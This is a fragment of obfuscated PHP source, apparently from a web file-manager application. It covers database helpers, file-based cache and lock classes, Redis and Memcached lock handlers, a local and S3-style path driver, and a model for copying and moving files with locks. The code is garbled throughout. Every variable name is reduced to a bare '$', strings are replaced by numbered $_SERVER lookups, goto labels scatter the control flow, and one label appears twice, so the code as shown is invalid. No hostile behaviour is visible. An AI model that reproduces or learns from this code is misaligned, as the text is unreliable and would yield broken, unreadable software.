foreach ($ as $ => $) { $[$[$[32]]] = array($[32] => $[$[32]], $[33] => $[$[33]], $[35] => (bool) ($[$[35]] === $[12]), $[37] => $[$[56]], $[39] => (bool) $[$[57]], $[42] => (bool) $[$[57]]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } goto F; e: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[930]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[]; $ = str_replace(array($[931], $[100], $[76]), $[932], $); return $this->cachePath . $[933] . $ . $[934]; } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[934]) && strpos($, $[935])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[934]) && strpos($, $[935]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[436]]; self::$timeout = $[$[936]] ? $[$[936]] : 10; $ = _get($GLOBALS[$[6]], $[937]); $ = $[$[922]] ? $[$[922]] : $[233]; if ($ == $[21] && $ == $[13]) { $ = $[233]; } switch ($) { case $[925]: self::$handle = new CacheLockRedis(); break; case $[926]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[233]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[938], $[939]); } return self::$handle; } private static function key($) { return $_SERVER[][940] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); if (_get($GLOBALS, $[941], !1)) { if (!$->lock($, 0.2)) { die; } return !0; } $ = $->lock($, $); $ = timeFloat(); if (!$) { $ = "\154\x6f\143\153\x20\x65\162\x72\157\x72\x3b\x6b\145\171\x3d{$}\x3b\x74\151\x6d\x65\x3d{$}\x3b" . self::$errorMsg . $[74] . get_caller_msg(); $ = LNG($[942]) . "\50{$}\x73\x29\56" . LNG($[943]); $ .= $[944]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[945] . self::$errorMsg; } write_log($[946] . sprintf($[947], timeFloat() - $) . $[948] . $ . $[949] . json_encode(error_get_last()), $[939]); show_json($, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[950] . $ . $[951] . $, $[939]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[952] . $, $[939]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $ = !0; write_log($[953] . $ . $[74] . get_caller_msg(), $[939]); continue; } write_log($[953] . $, $[939]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[954] . $ . $[955] . ACTION, $[939]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[956]]) { $GLOBALS[$[956]] = array(); } $GLOBALS[$[956]][$] = !1; $ = fopen(DATA_PATH . $ . $[957], $[958]); if (!$) { return !1; } $GLOBALS[$[956]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($[959], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[956]][$]; if (!$) { return; } $GLOBALS[$[956]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[956]]) || !$GLOBALS[$[956]]) { return; } foreach ($GLOBALS[$[956]] as $ => $) { if (!$) { continue; } $GLOBALS[$[956]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[956]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto d; f: define($_SERVER[][329], 3); define($_SERVER[][330], 1); define($_SERVER[][331], 0); goto e; d: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[436]]; self::$cachePath = $[$[233]][$[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ = $ + $ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[960] . md5($) . $[957]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $[961]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($[962] => $, $[233] => $); fwrite($, $); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ = rtrim(self::$cachePath, $[8]) . $[960] . md5($) . $[957]; return file_exists($); } public function unlock($) { $ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$[962]], LOCK_UN); @fclose($[$[962]]); @unlink($[$[233]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$) { $ = $->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->handle->add($, $, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } goto a; d: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1427]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1457]], $config[$[1456]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1456]], $config[$[1457]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); if (is_file($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function movePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1468], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($, $); $ = $this->iconvApp($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1468], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if (is_file($) || is_link($)) { $[$[80]]++; $[$[79]] += filesize_64($); } else { if (is_dir($)) { $[$[81]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78]); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78], $[234] => @filectime($), $[88] => @filemtime($), $[1472] => @fileatime($), $[1473] => is_readable($), $[1474] => is_writable($), $[1475] => get_mode($)); return $; } private function fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[233], $[79] => $this->size($), $[169] => $this->ext($)); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[233], $[234] => @filectime($), $[88] => @filemtime($), $[1472] => @fileatime($), $[79] => $this->size($), $[169] => $this->ext($), $[1473] => is_readable($), $[1474] => is_writable($), $[1475] => get_mode($)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if (is_file($)) { $[$[86]][] = $this->fileInfo($, $); } else { $[$[85]][] = $this->folderInfo($, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[87] => $this->getPathOuter($), $[78] => $, $[88] => intval(@filemtime($)), $[79] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[242] => $, $[243] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen($, $[1476]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $ .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($ === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1476]); if (!$) { return !1; } fseek_64($, $); $ = fread($, $); fclose($); if (!$) { $this->writeLog(__FUNCTION__ . $[1468], !0); } return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array($[1477] => $[1478] . $ . $[1479]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } public function uploadFormData($, $ = 3600) { return $this->uploadFormDataV2($, $); } } goto D; E: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[635], $); $ = 1; $this->_lockEvent($, array($[636], $[637]), $); $this->_lockParent($, array($[637]), $); $this->_lockEvent($, array($[638], $[639]), $); $this->_lockCheckEnd($[635], $); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[636], $[637]), $); $this->_lockParent($, array($[637]), $); $this->_lockEvent($, array($[638], $[639]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[636], $); $ = 1; $this->_lockKey($[640] . $ . $[10] . $, $); $this->_lockEvent($, array($[635], $[637]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockCheckEnd($[636], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[640] . $ . $[10] . $, $); $this->_lockEvent($, array($[635], $[637]), $); $this->_lockParent($, array($[635], $[637]), $); } public function lockMoveStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[637], $); $ = 1; $this->_lockKey($[641] . $, $); $this->_lockEvent($, array($[635], $[636]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockEvent($, array($[642], $[638], $[639]), $); $this->_lockCheckEnd($[637], $); } public function lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[641] . $, $); $this->_lockEvent($, array($[635], $[636]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockEvent($, array($[642], $[638], $[639]), $); } private function _lockCheck($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($[643]); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[598]])); foreach ($ as $) { $ = $ . $[644] . $; if (CacheLock::lockGet($[645] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $[10] . $; CacheLock::setErrorMsg($[466]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[545] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($[108]), !1); } } private function _lockParent($, $, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][598]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[645] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[][645] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[598]] . $[$[194]] . $[50]; $ = $[$[598]] . $[$[194]] . $[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$ || !$ || $[$[497]] != $[91]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? $ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[646] => array(), $[647] => array(), $[648] => array()); $this->targetIsDelete = intval($[$[517]]); $ = $this->fileNameExistAuto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($, $); if ($[$[497]] == $[91] && $ == $) { $this->folderSizeResetChildren($); } Model($[649])->addAll($[$[647]], array(), !0); if ($ != $ || $[$[497]] == $[91]) { Model($[650])->eventCopy($); } $this->saveAll($[$[648]]); Model($[233])->linkAdd($[$[646]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[497]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$[194]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[651], array($[652], $, 0)); } return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[653], $); Hook::trigger($[654], array($[655], $, 0)); $ = $this->add($); $ = array($[194] => $, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[497]] != $[91]) { $[$[646]][] = $[$[555]]; return $; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $ = $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[598]] = $[$[598]]; $[] = $; } $this->chunkEventSet($[656], array($[657], $, $)); $this->addAll($, array(), !1); $ = $this->where(array($[193] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[194]]; $ = $this->_childrenMatch($, $, $); $[] = array($[194], $, $[193], $[$[193]]); $[] = array($[194], $, $[598], $[$[598]]); $this->_copyApplyMeta($, $); if ($[$[497]] != $[91]) { $[$[646]][] = $[$[555]]; } } $this->chunkEventSet($[658], array($[659], $, $)); $this->saveAll($); $this->chunkEventSet($[660], array($[661], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[598]]; $[$] = $[$[194]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[598]]; $ = $[$]; $[$] = $[$[194]]; } return $; } private function _childrenMatch($, $, $) { $ =& $_SERVER[]; $ = $[$[598]]; $ = $this->parentLevelArray($[$[598]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $[662]; } } $ = rtrim($, $[50]) . $[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($[193] => $, $[598] => $); } private function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[663] => $[$[497]], $[506] => $, $[664] => $[$[498]] ? $[$[498]] : $[12], $[556] => $[$[555]] ? $[$[555]] : 0, $[634] => $[$[79]] ? $[$[79]] : 0, $[665] => intval($[$[191]]), $[666] => intval($[$[583]]), $[667] => intval(USER_ID), $[668] => intval(USER_ID), $[489] => intval($[$[194]]), $[669] => $[$[598]] . $[$[194]] . $[50], $[510] => $[$[88]] ? $[$[88]] : time(), $[516] => 0, $[670] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $ = $[$[194]]; $ = $[$[32]]; if (!isset($[$[671]]) || !$[$[671]] || $[$[671]] == $[231]) { $[$[648]][] = array($[194], $, $[671], short_id($)); } if (Input::check($, $[672])) { $[$[647]][] = array($[194] => $, $[97] => $[550], $[462] => str_replace($[53], $[12], Pinyin::get($))); $[$[647]][] = array($[194] => $, $[97] => $[549], $[462] => Pinyin::get($, $[673])); } $[$[647]][] = array($[194] => $, $[97] => $[529], $[462] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[674]; $ = array($[598] => array($[629], $[$[598]] . $ . $[630]), $[517] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[194]); foreach ($ as $) { $ = $[$[193]]; $ = $[$[194]]; if (!isset($this->_childrenListCache[$]) && $[$[497]] == $[91]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$[497]] == $[91]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[193] => $, $[517] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[194]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[517]] == $[91]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[194]]; } } return !1; } private function fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[193]] == $[$[194]]) { if ($[$[517]] == $[91]) { Model($[515])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[497]] != $[91]) { return !1; } Hook::trigger($[675], $); $this->targetIsDelete = intval($[$[517]]); if ($[$[193]] == $ && $ != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[497]] == $[231]) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { Model($[558])->remove($[$[555]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[676], $); return $; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($[646] => array(), $[677] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $this->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[497]] == $[91] && $) { $this->folderSizeResetChildren($); } Model($[233])->linkAdd($[$[646]]); if ($ && $ && $[$[677]]) { $ = $[$[497]] == $[91] ? $this->_childrenListSelect($) : !1; $ = $ && count($) > 0 ? !0 : !1; $this->removeNow($, $); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[193]]); $this->folderSizeReset($); $ = array($[$[193]], $); if ($[$[497]] == $[91]) { $[] = $; } $this->updateModifyTime($); Model($[650])->eventMove($, $[$[193]], $); Hook::trigger($[676], $); return $; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[$[497]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $ = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { 